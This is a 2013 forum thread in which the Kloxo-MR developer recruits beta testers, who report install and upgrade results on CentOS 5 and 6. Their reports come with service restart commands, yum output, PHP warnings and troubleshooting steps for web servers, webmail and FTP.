MRatWork Forum by Mustafa Ramadhan

Sawo Project - Kloxo-MR Discussions => Kloxo-MR Releases => Topic started by: MRatWork on 2013-01-28, 17:16:48

Title: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 17:16:48
I need someone else for helping me. His/her job is testing latest step of alpha/beta/Candidate of Kloxo-MR on various condition (fresh on centos 5, fresh on centos 6, update from Kloxo 6.1.12 and update from previous Kloxo-MR).

Report and discuss with me for detail issues and write on this forum what his/her progress.

I will give him/her 1 VPS - read <!-- m -->http://hostspectra.com/static7/products-vps (http://hostspectra.com/static7/products-vps)<!-- m --> for KVM-10 spec
Title: Re: Need Kloxo-MR Tester
Post by: Tsanten on 2013-01-28, 20:27:14
If a second pretender will want to try ill give a 512 kvm vps for it.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 20:41:16
Thanks tsanten.

Many tester better for our products before released.

The big problem of Kloxo Official is no persons as tester. I was dev + tester.

I think we don't want like this situation.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-01-28, 20:57:04
I tested. Just write how to install the trial version.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 21:07:18
Step for testing 'update'

1. Install Kloxo Official or Kloxo-MR current version
2. Setup 1-2 domain with also setup admin email account for each domain
4. Setup mailing list
5. checking website, email and mailing list running well
6. Setup latest Kloxo-MR (not ready on github)
7. Go to http://rpms.potissima.com/core (http://rpms.potissima.com/core) (this is special url for latest release but not ready upload to github)
8. Copy 4 files (kloxo-current.zip, kloxo-install.zip, kloxo-installer.sh and kloxo-packer.sh) to server (say it, to '/tmp/' dir or other dir)
9. Run 'sh ./kloxo-installer.sh --type=master' as usual
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-01-28, 21:42:55
Can only be updated? Is it possible to install a new installation? 32 bit or 64?
Tonight I will be tested.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 21:54:45
Quote from: "Viking"
Can only be updated? Is it possible to install a new installation?
Tonight I will be tested.
No crucial issue for fresh install (already using qmail-toaster for mail). If still have a problem for website/dns, we have solution like 'service httpd restart', 'sh /script/cleanup', 'sh /script/fixweb' or other actions.

As we know, Kloxo Official or Kloxo-MR current update using special qmail (not qmail-toaster; say it as qmail-lxcenter). Update is crucial because different qmail.

When update to latest Kloxo-MR, this app still use qmail-lxcenter instead qmail-toaster because convert from qmail-lxcenter to qmail-toaster still no solution.
Title: Re: Need Kloxo-MR Tester
Post by: Viking on 2013-01-28, 23:01:18
@MRatWork recommend to test on Centos 6.3 32-bit or 64-bit?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 23:20:31
Quote from: "Viking"
@MRatWork recommend to test on Centos 6.3 32-bit or 64-bit?
No matter 32 or 64bit but 64bit have 'potential' dependencies conflict because some rpms install 32bit and 64bit version on Centos 64bit.

For example, running 'yum replace mysql --replace-with=mysql55' without 'yum remove mysql*.i386' will be fail.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-28, 23:34:44
I'm willing to test.. I just installed ( 6.5-MR )it in a new VPS Centos 5.9 32 bit.

The 2- Domain requirements. Do I have to install it under admin domain or 2 separate client One domain each?.

Thanks,

===================

Update:

* installed Kloxo-MR 6.5 on Centos VPS 5.9 (final) 32 bit
* installed 2 domains in 2 separate accounts (clients)
* domain to verify that is working mamboa.com & homehealth journals.com
* setup 1 email each (admin@homehealthjournals.com (http://mailto:admin@homehealthjournals.com)) both can recieve and send mails.

* setup mailing list with 4 emails on each list on both domains ( working perfectly )
* mail forwarding also works on both domains.

Will wait for instruction from MohammadR if I should continue to upgrade to Beta before procedding.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 23:40:36
Quote from: "giljack"
I'm willing to test.. I just installed ( 6.5-MR )it in a new VPS Centos 5.9 64 bit.

The 2- Domain requirements. Do I have to install it under admin domain or 2 separate client One domain each?.

Thanks,
Nothing different.

Better 2 or more domain/subdomain. If only have 1 domain and then you can setup for subdomain.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-28, 23:49:17
For update, if found website errors (like '404 error' if access to webmail.domain.com):

1. Change to other from current webserver and then change back. Example, using lighttpd and then change to apache/nginx and change back to lighttpd. Remember, nginx-proxy meaning as nginx and apache so change to lighttpd and then change back
2. The same steps for php-branch and php-type
3. After that, running 'service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart'

Usually above steps will be fixed most issues.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 07:17:37
this is my test result;

Kloxo-MR 6.5 Centos 5.9 32 bit;

apache+named+webmail = working (webmail/website)
lighttpd+named+webmail = working (webmail/website)
nginx+named+webmail = working (webmail/website)
lighttpd+named+webmail = working (webmail/website)
nginxproxy+named+webmail = working (webmail/website)
lighttpdproxy+named+webmail = working (webmail/website)

everything works even switching bakc and forth from different services but need to wait for all services to run before checking webmail or the website.



after upgrade;
===================================
I run the install script in a directory with the following files needed as described.
-rw-r--r--  1 root root 8619262 Jan 28 19:06 kloxo-current.zip
-rw-r--r--  1 root root   21544 Jan 28 19:03 kloxo-install.zip
-rw-r--r--  1 root root    4513 Jan 28 19:03 kloxo-installer.sh
-rw-r--r--  1 root root    3703 Jan 28 19:03 kloxo-packer.sh



and run sh kloxo-installer.sh --type=master

after that  

Current Version:   6.5.0.c.20130112804

* httpd (apache) won't run = no website, no webmail
* switch to lighttpd = won't run = no website, no webmail
* switch to nginx  +won't run = no website, no webmail

Is there something I have done wrong?
Nothing works now.
Will wait for any suggestion/instruction .
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 11:11:40
@giljack,

 Have you try 'service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart'
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 11:29:24
@giljack

Inform here content of '/etc/httpd/conf.d'. My prediction, you have 'php.conf' and or 'suphp.conf' inside this dir after update.
Title: Re: Need Kloxo-MR Tester
Post by: nusapenida on 2013-01-29, 14:26:06
I've tested on CentOS 6.3 x86 for this new KloxoMR 6.5.0 c (fresh install)
and just like ver 6.5.0, needs some tricks to make it work.
I'm trying on this 6.5.0c :
- nginxproxy
- php (5.3.21)
- php fpm event
- wordpress 3.5.1 : work well.
--------

webmail only work for:
Horde (sent & recieve)
Rouncube (sent & recieve)

others webmail program did not work (can login only / see incoming mail)
it can not send an email, error: can't connect to smtp server.
---------------

mail client (windows live mail)
receiving email: OK
outgoing mail (smtp): fail (always request username & password)

thanks
sukandia
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 14:38:31
Quote from: "nusapenida"
I've tested on CentOS 6.3 x86 for this new KloxoMR 6.5.0 c (fresh install)
and just like ver 6.5.0, needs some tricks to make it work.
I'm trying on this 6.5.0c :
- nginxproxy
- php (5.3.21)
- php fpm event
- wordpress 3.5.1 : work well.
--------

webmail only work for:
Horde (sent & recieve)
Rouncube (sent & recieve)

others webmail program did not work (can login only / see incoming mail)
it can not send an email, error: can't connect to smtp server.
---------------

mail client (windows live mail)
receiving email: OK
outgoing mail (smtp): fail (always request username & password)

thanks
sukandia

Try running 'sh /script/fixwebmail; sh /script/fixmail'. All webmails (horde, roundcube, afterlogic, t-dah and squirrelmail). Especially for afterlogic, smtp must set 'uncheck' for 'Settings > Email Accounts > Use SMTP authentication'.

Send and receive without problem on my Thunderbird.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 14:50:53
I know what a problem for update process where website not work.

This is about named for certain .conf inside /etc/httpd/conf.d.

If select 'php-fpm' for php-type with 'secondary php' but found 'php.conf', 'suphp.conf' and 'suphp52.conf' inside above dir, so need delete 'php.conf' and 'suphp.conf' and then 'service httpd restart'.

I will change different approach for above .conf files.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 19:38:33
Quote from: "MRatWork"
@giljack

Inform here content of '/etc/httpd/conf.d'. My prediction, you have 'php.conf' and or 'suphp.conf' inside this dir after update.

[root@virgo ~]# cd /etc/httpd/conf.d
[root@virgo conf.d]# ls -l
total 28
-rw-r--r-- 1 root root 1393 Jan 29 04:45 ~lxcenter.conf
-rw-r--r-- 1 root root  674 Sep 17 08:25 php.nonconf
-rw-r--r-- 1 root root  308 Jan 29 04:45 rpaf.conf
-rw-r--r-- 1 root root  279 Jan 29 04:20 ruid2.conf
-rw-r--r-- 1 root root  789 Jan 29 04:45 ssl.conf
-rw-r--r-- 1 root root 1246 Jul 14  2007 swtune.conf
-rw-r--r-- 1 root root  352 Jan  9  2007 webalizer.conf
[root@virgo conf.d]#
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 19:39:09
Quote from: "MRatWork"
@giljack,

 Have you try 'service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart'

both site don't exist.

homehealthjournals.com = 503 Service not available
mamboa.com = 503 Service not available




[root@virgo ~]# service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart
httpd: unrecognized service
nginx: unrecognized service
Stopping lighttpd:                                         [  OK  ]
Starting lighttpd:                                         [  OK  ]
php-fpm: unrecognized service
thttpd: unrecognized service
djbdns: unrecognized service
Stopping named: .                                          [  OK  ]
Starting named:                                            [  OK  ]
[root@virgo ~]#

Still both site unavailable.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 20:15:21
Quote from: "giljack"
Quote from: "MRatWork"
@giljack,

 Have you try 'service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart'

both site don't exist.

homehealthjournals.com = 503 Service not available
mamboa.com = 503 Service not available




[root@virgo ~]# service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart
httpd: unrecognized service
nginx: unrecognized service
Stopping lighttpd:                                         [  OK  ]
Starting lighttpd:                                         [  OK  ]
php-fpm: unrecognized service
thttpd: unrecognized service
djbdns: unrecognized service
Stopping named: .                                          [  OK  ]
Starting named:                                            [  OK  ]
[root@virgo ~]#

Still both site unavailable.


Remember:  This is fresh Install (Kloxo-MR 6.5) and everything you ask for to check the services were working. Just after I upgraded to Kloxo-MR 6.5c everything went wrong.

How can I go back to Kloxo-MR 6.5 ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-29, 20:25:00
I would like to help testing too.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 20:37:43
Quote from: "giljack"
Quote from: "giljack"
Quote from: "MRatWork"
@giljack,

 Have you try 'service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart'

both site don't exist.

homehealthjournals.com = 503 Service not available
mamboa.com = 503 Service not available




[root@virgo ~]# service httpd restart; service nginx restart; service lighttpd restart; service php-fpm restart; service thttpd restart; service djbdns restart; service named restart
httpd: unrecognized service
nginx: unrecognized service
Stopping lighttpd:                                         [  OK  ]
Starting lighttpd:                                         [  OK  ]
php-fpm: unrecognized service
thttpd: unrecognized service
djbdns: unrecognized service
Stopping named: .                                          [  OK  ]
Starting named:                                            [  OK  ]
[root@virgo ~]#

Still both site unavailable.

Remember:  This is fresh Install (Kloxo-MR 6.5) and everything you ask for to check the services were working. Just after I upgraded to Kloxo-MR 6.5c everything went wrong.

How can I go back to Kloxo-MR 6.5 ?

Look like something wrong when update process. After centos to 5.9 have dependencies issue.

Try:
Code: [Select]
yum update
If this is ok try:
Code: [Select]
yum install httpd nginx

And then go to Panel and try switch webserver again.

If you found inside '/etc/httpd/conf.d' files 'php.conf' and 'suphp.conf', delete this files

For sure, run 'sh /script/cleanup; service httpd restart; service nginx restart; service php-fpm restart'
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 20:43:08
Yes, this version have a problem for update packages.

If Kloxo not need ruid2 so kloxo just rename ruid2.conf to ruid2.nonconf but mod_ruid2 still exists on server. So, when ruid2 have an update, ruid2 will check ruid2.conf exist or not. If not exist, ruid2 will add ruid2.conf to /etc/httpd/conf.d. It's make a trouble because ruid2.conf conflict with suphp/fcgid/fastcgi. It's just illustration why after update website not work.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 21:07:53
@giljack,

I tried reconstruct your issue:

1. using nginx-proxy
2. remove nginx with 'rpm -e httpd --nodeps' and 'rpm -e nginx --nodeps' --> Kloxo-MR using 'rpm -e' instead 'yum remove' for remove all rpms
3. At this step -- website not work
4. Go to 'Switch Apps' and then change web to 'lighttpd'; run 'service lighttpd restart' (for immeadiately restart without using kloxo mechanism); website work perfectly with lighttpd
5. Change 'lighttpd' to 'nginx-proxy'; run 'service httpd restart; service nginx restart'; website work perfectly with nginx-proxy

So, an issue just related to un-wanted files ('php.conf' and or 'suphp.conf' for system with php-fpm_worker/php-fpm_event) for process update to latest Kloxo-MR.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 21:26:55
Try:
Code: [Select]
yum update
If this is ok try:
Code: [Select]
yum install httpd nginx

And then go to Panel and try switch webserver again.

If you found inside '/etc/httpd/conf.d' files 'php.conf' and 'suphp.conf', delete this files

For sure, run 'sh /script/cleanup; service httpd restart; service nginx restart; service php-fpm restart'[/quote]





Here's some of my findings;

nginx+named+php-fpm+php53u:

* Can not restart from Control Panel
* Need to start service via command line
  - service nginx restart
* error 502 - Bad gateway when access website

apache+named+php-fpm+php53u:

* Can not restart from Control Panel
* Need to start service via command line
  - service httpd restart

* website is available but with following error (this is wordpress site)

   Your PHP installation appears to be missing the MySQL extension which is required by WordPress.


lighttpd+named+php-fpm+php53u:

* Can not restart from Control Panel
* Need to start service via command line
  - service lighthttpd restart

* error 503 - Service not Available



Switching programs/services does not work at times.
Restarting from Control Panel (Server>Services) does not work.
Need to restart the service from command line.


[root@virgo conf.d]# ls -l
total 36
-rw-r--r-- 1 root root  346 Jan 29 17:40 fastcgi.conf
-rw-r--r-- 1 root root 1393 Jan 29 17:55 ~lxcenter.conf
-rw-r--r-- 1 root root  674 Jan 29 18:02 php.nonconf
-rw-r--r-- 1 root root  308 Jan 29 17:55 rpaf.conf
-rw-r--r-- 1 root root  279 Jan 29 17:36 ruid2.nonconf
-rw-r--r-- 1 root root  789 Jan 29 17:55 ssl.conf
-rw-r--r-- 1 root root  331 Jan 29 17:40 suphp52.nonconf
-rw-r--r-- 1 root root 1683 Jan 29 17:36 suphp.nonconf
-rw-r--r-- 1 root root  352 Jan  9  2007 webalizer.conf

I also done this:

And then go to Panel and try switch webserver again.

If you found inside '/etc/httpd/conf.d' files 'php.conf' and 'suphp.conf', delete this files

For sure, run 'sh /script/cleanup; service httpd restart; service nginx restart; service php-fpm restart'

Result is still the same.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 21:34:02
@giljack,

PM your kloxo and ssh access.

Want to know what a problem is.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 23:13:40
Quote from: "MRatWork"
@giljack,

PM your kloxo and ssh access.

Want to know what a problem is.


ssh login okey now. same user/password
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 23:25:11
@giljack,

In my investigation, nothing wrong with fresh install of Kloxo-MR on your system.

Yes, 'start' button on 'service' still not work. Need execute 'service httpd restart; service nginx restart; service php-fpm restart'. When we select nginx-proxy Kloxo think as 'nginxproxy' service and try 'service nginxproxy restart'. As we know, nginx-proxy are httpd service and nginx service. I was try fixed this issue but look like still not work.

Another issue, change php 5.2 to php53u branch need reboot becuase restart php-fpm will not work. Don't ask to me why and need to fixed this issue becuase this is 'behavior' of php53u from ius repo (I am not compile this php53u but taken from ius repo).

For to make sure, run 'sh /script/fixweb' and 'service httpd restart; service nginx restart; service php-fpm restart'.

Now, your server running well. Just need optimize for php-fpm depend on your memory and your customer amount.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 23:33:33
Quote from: "MRatWork"
@giljack,

In my investigation, nothing wrong with fresh install of Kloxo-MR on your system.

Yes, 'start' button on 'service' still not work. Need execute 'service httpd restart; service nginx restart; service php-fpm restart'. When we select nginx-proxy Kloxo think as 'nginxproxy' service and try 'service nginxproxy restart'. As we know, nginx-proxy are httpd service and nginx service. I was try fixed this issue but look like still not work.

Another issue, change php 5.2 to php53u branch need reboot becuase restart php-fpm will not work. Don't ask to me why and need to fixed this issue becuase this is 'behavior' of php53u from ius repo (I am not compile this php53u but taken from ius repo).

For to make sure, run 'sh /script/fixweb' and 'service httpd restart; service nginx restart; service php-fpm restart'.

Now, your server running well. Just need optimize for php-fpm depend on your memory and your customer amount.

[root@virgo ~]# sh /script/fixweb

- For help, type '/script/fixweb --help'
- No argument supplied. Defaulting to localhost (master) servers

Fixing Web server config
- 'defaults' and 'php-fpm' at 'localhost'
- 'homehealthjournals.com' ('health') at 'localhost'
- 'mamboa.com' ('mamboa') at 'localhost'
- 'mixhost.com' ('admin') at 'localhost'
[root@virgo ~]# service httpd restart; service nginx restart; service php-fpm restart
Stopping httpd:                                            [  OK  ]
Starting httpd:                                            [  OK  ]
Stopping nginx:.                                           [  OK  ]
Starting nginx:                                            [  OK  ]
Stopping php-fpm:                                          [  OK  ]
Starting php-fpm:                                          [  OK  ]
[root@virgo ~]#

Website is still not accessible for both my test domain;
homehealthjournals.com
mamboa.com

both get the same results.

'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.'
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 23:35:59
Your http://mixhost.com/phpinfo.php (http://mixhost.com/phpinfo.php) look like ok.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-29, 23:52:05
Mysql issue already fixed with 'yum install php53u-mysql' and then execute '/etc/init.d/php-fpm restart' (because using select php-fpm).

Weird on your system. Execute 'service php-fpm restart' not able because 'bash: service: command not found'. Look like your os not including for '/sbin' path for executable files. It's maybe access to ssh not 'real' root.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-29, 23:55:03
Test website is now working. Don't know what you have done  ;)

I saw in CP that both httpd and nginx is running with php-fpm, php53u (php branch) and php-fpm-worker (php-type).

I don't understand why httpd (apache) and nginx is running ( as it is shown in the Services at Kloxo CP)
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-30, 00:10:18
Please don't tell this product as Kloxo 6.5. This is Kloxo-MR (with meaning 'Kloxo fork by Mustafa Ramadhan') with 6.5.x version.
If somedays, many peoples involve as dev for product. Maybe the name will be change to 'Kloxo-MR+' (or Kloxo-MR-plus) or something else. When version 7 release, this product have the new name with Kloxo word.

Kloxo (we can tell as Kloxo Official) don't have planning for 6.2.x or higher. Just 6.1.x version.

We can tell this product with version 6.5.x because have many new features and approach (especially template-based config for webserver).
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-30, 01:08:08
After the upgrade (well documented with the help of the Admin "MRatWork" )

both of my test website works.

The original Kloxo-MR 6.5 comes with 2 mail client
  * Horde
  * Roundcube

After the upgrade to Kloxo-MR 6.5.0.c.2013.0112804  mail clients as follows;
   *AfterLogic
   *Horde
   *RoundCube
   *SquirrelMail
   *T-dah

Here's my result in testing mail functionality;

   * my previous mailing list before upgrade still work as before.
   * only problem I encounter when using squirelmail and result is shown below.
   * all other email clients works at should.




when trying to reply from email using squirrelmail.



Warning: popen() has been disabled for security reasons in /home/kloxo/httpd/webmail/squirrelmail/class/deliver/Deliver_SendMail.class.php on line 98

Notice: Undefined property: Deliver_SendMail::$dlv_msg in /home/kloxo/httpd/webmail/squirrelmail/src/compose.php on line 1699

Notice: Undefined property: Deliver_SendMail::$dlv_ret_nr in /home/kloxo/httpd/webmail/squirrelmail/src/compose.php on line 1700

Notice: Undefined property: Deliver_SendMail::$dlv_server_msg in /home/kloxo/httpd/webmail/squirrelmail/src/compose.php on line 1701

Warning: Cannot modify header information - headers already sent by (output started at /home/kloxo/httpd/webmail/squirrelmail/class/deliver/Deliver_SendMail.class.php:98) in /home/kloxo/httpd/webmail/squirrelmail/functions/page_header.php on line 31


new message error:

Warning: popen() has been disabled for security reasons in /home/kloxo/httpd/webmail/squirrelmail/class/deliver/Deliver_SendMail.class.php on line 98

Notice: Undefined property: Deliver_SendMail::$dlv_msg in /home/kloxo/httpd/webmail/squirrelmail/src/compose.php on line 1699

Notice: Undefined property: Deliver_SendMail::$dlv_ret_nr in /home/kloxo/httpd/webmail/squirrelmail/src/compose.php on line 1700

Notice: Undefined property: Deliver_SendMail::$dlv_server_msg in /home/kloxo/httpd/webmail/squirrelmail/src/compose.php on line 1701

Warning: Cannot modify header information - headers already sent by (output started at /home/kloxo/httpd/webmail/squirrelmail/class/deliver/Deliver_SendMail.class.php:98) in /home/kloxo/httpd/webmail/squirrelmail/functions/page_header.php on line 31
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-30, 01:15:22
Quote from: "MRatWork"
Mysql issue already fixed with 'yum install php53u-mysql' and then execute '/etc/init.d/php-fpm restart' (because using select php-fpm).

Weird on your system. Execute 'service php-fpm restart' not able because 'bash: service: command not found'. Look like your os not including for '/sbin' path for executable files. It's maybe access to ssh not 'real' root.


I installed the OS (several of them) right from my VPS control Panel (VPS provider down in Orlando). Selected Centos 5.0 32 bit then do yum upgrade and it becomes 5.9 (final).
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-30, 03:12:48
I am not testing intensively for squirrelmail. Just for login success or not (it's related to vpopmail work or not).

Better create new thread on 'Kloxo-MR Tips and Tricks' or 'Kloxo-MR Technical Helps' for something outside update/install issues for this Kloxo-MR (it's latest version before final).
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-30, 20:16:35
Have tested upgrade from Kloxo-MR 6.5.0 to Kloxo-MR 6.5.0.c.2013.112804 on Centos 5.9 (final) 32-bit.

What should I test more?.

I can re-install another OS on this VPS for testing.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-30, 20:53:35
Quote from: "giljack"
Have tested upgrade from Kloxo-MR 6.5.0 to Kloxo-MR 6.5.0.c.2013.112804 on Centos 5.9 (final) 32-bit.

What should I test more?.

I can re-install another OS on this VPS for testing.
Try install on Centos 6. I hope no other issues (that mean the same issue like you found before).
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-30, 21:55:58
Quote from: "MRatWork"
Quote from: "giljack"
Have tested upgrade from Kloxo-MR 6.5.0 to Kloxo-MR 6.5.0.c.2013.112804 on Centos 5.9 (final) 32-bit.

What should I test more?.

I can re-install another OS on this VPS for testing.
Try install on Centos 6. I hope no other issues (that mean the same issue like you found before).


Ok, will try Centos 6 32 bit  install Kloxo-MR 6.5.0 then upgrade to 6.5.0.c
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-30, 22:10:07
Only Kloxo-MR from http://rpms.potissima.com/core (http://rpms.potissima.com/core) able for Centos 6 at this moments. Kloxo-MR on github still older.

That mean install on Centos 6 only for fresh install.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-30, 22:34:24
I will do fresh install of Kloxo-MR 6.5.0.c on Centos 6.3 final 32 bit
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-30, 22:45:14
I noticed that Kloxo-MR 6.5.0 failed to install on a fresh Centos 6.3 (final) because Selinux is not installed on the OS that I'm using.

here's what I got

[root@virgo ~]# cat /etc/redhat-release
CentOS release 6.3 (Final)

Installing as "root"          OK
Operating System supported    OK
SELinux not installed         UNDETERMINED
Yum installed                 OK

 Ready to begin Kloxo (master) install.


        Note some file downloads may not show a progress bar so please, do not interrupt the process.
        When it's finished, you will be presented with a welcome message and further instructions.


Press any key to continue ...
.
.
.
.

Complete!
YUM Gave Error... Trying Again...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-31, 00:25:08
Please remove lxzend from needed packages...
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-31, 01:49:13
Quote from: "giljack"
I will do fresh install of Kloxo-MR 6.5.0.c on Centos 6.3 final 32 bit


Manage to fresh install Kloxo-MR 6.5.0.c  but test website doesn't work, I have tried switching programs, restarting/rebooting VPS after each changes, Still Error 500 on two test websites.

Mustafa.. login to CP and ssh (root) is still the same. If you want to check whats wrong.

Thanks,
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-31, 03:29:21
Please update php53 to 5.3.21 and php54 to 5.4.11
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-31, 03:31:22
When trying to enable antivirus scan I got a message:

"simscan_is_not_installed_for_virus_scan"

There is such warning when loading named or something similar there:

Quote
You need to implement a remote task_setrlimit in your security module and call it direc
tly from this functionWARNING: at security/security.c:51 security_ops_task_setrlimit()

Call Trace:
 [<ffffffff8012eeeb>] security_ops_task_setrlimit+0x87/0x96
 [<ffffffff8009dc0a>] do_prlimit+0xd7/0x1d2
 [<ffffffff8009ed53>] sys_setrlimit+0x36/0x43
 [<ffffffff8005d29e>] tracesys+0xd5/0xdf
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-01-31, 03:38:00
/etc/init.d/php-fpm restart should be on watchdog list !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 08:56:20
Error 'YUM Gave Error... Trying Again...' not related to SELinux. Kloxo always disable if SELinux exists.

This error tend to when install something, yum found packages conflict. It's maybe mysql or others. Some packages sometimes exist with their .i386 files where new packages ONLY have .x86_64 files. It's make version .x86_64 not the same with .i386.

For this situation, install on x86_64 need 'yum remove *.i386' before install Kloxo-MR (Kloxo Official too).

Error '500' tend to web config not match and or php-fpm not running. Try 'sh /script/fixweb' and then force running 'service httpd restart; service nginx restart; service php-fpm restart'.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-31, 09:54:27
Progress report:

Installed fresh Kloxo-MR  6.5.0.c.20130112804 on Centos 6.3 32 bit

*php 5.3.21
*nginxproxy
*bind
*php-fpm worker
*Enable Php 5.2 (use Lxphp) As Secondary Php

Have to restart run /script/fixweb' and then f 'service httpd restart; service nginx restart; service php-fpm restart'.

* both test website working.
* both can recieve/send emails
* both working with email lists.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 10:43:22
Quote from: "Spacedust"
When trying to enable antivirus scan I got a message:

"simscan_is_not_installed_for_virus_scan"

There is such warning when loading named or something similar there:

Quote
You need to implement a remote task_setrlimit in your security module and call it direc
tly from this functionWARNING: at security/security.c:51 security_ops_task_setrlimit()

Call Trace:
 [<ffffffff8012eeeb>] security_ops_task_setrlimit+0x87/0x96
 [<ffffffff8009dc0a>] do_prlimit+0xd7/0x1d2
 [<ffffffff8009ed53>] sys_setrlimit+0x36/0x43
 [<ffffffff8005d29e>] tracesys+0xd5/0xdf
You need install simscan with 'yum install simscan-toaster'.
Title: Re: Need Kloxo-MR Tester
Post by: giljack on 2013-01-31, 13:59:21
Quote from: "giljack"
Progress report:

Installed fresh Kloxo-MR  6.5.0.c.20130112804 on Centos 6.3 32 bit

*php 5.3.21
*nginxproxy
*bind
*php-fpm worker
*Enable Php 5.2 (use Lxphp) As Secondary Php

Have to restart run /script/fixweb' and then f 'service httpd restart; service nginx restart; service php-fpm restart'.

* both test website working.
* both can recieve/send emails
* both working with email lists.




When trying pureftp to this node from other host, you can NOT list directory.... it times out and disconnected after some time..

[root@aries ~]# ftp mixhost.com
Connected to mixhost.com (198.136.57.159).
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5000 allowed.
220-Local time is now 10:40. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (mixhost.com:jack): jack
331 User jack OK. Password required
Password:
230 OK. Current restricted directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -l
227 Entering Passive Mode (198,136,57,159,133,241)
ftp: connect: Connection timed out
ftp>

Commented out in the config file
PassivePortRange 35000 36000

this is the pure-ftpd that is installed in the test VPS.

[root@virgo pure-ftpd]# pure-ftpd --help
pure-ftpd v1.0.36 [privsep]
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-01-31, 14:07:23
This is for my dev vps (ftping from other vps):
Code: [Select]
--> Processing Dependency: libmysqlclient.so.15()(64bit) for package: php-mysql
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: qmail-toaster
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: lxlighttpd
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: courier-authlib-toaster
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: lxphp
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: vpopmail-toaster
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: perl-DBD-MySQL
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: pure-ftpd
--> Processing Dependency: libmysqlclient.so.15(libmysqlclient_15)(64bit) for package: php-mysql
---> Package mysql-server.x86_64 0:5.0.95-5.el5_9 set to be erased
---> Package mysql55.x86_64 0:5.5.29-1.ius.el5 set to be updated
--> Processing Dependency: mysql55-libs = 5.5.29-1.ius.el5 for package: mysql55
--> Processing Dependency: mysqlclient15 for package: mysql55
--> Processing Dependency: libaio.so.1(LIBAIO_0.4)(64bit) for package: mysql55
--> Processing Dependency: libaio.so.1(LIBAIO_0.1)(64bit) for package: mysql55
--> Processing Dependency: libaio.so.1()(64bit) for package: mysql55
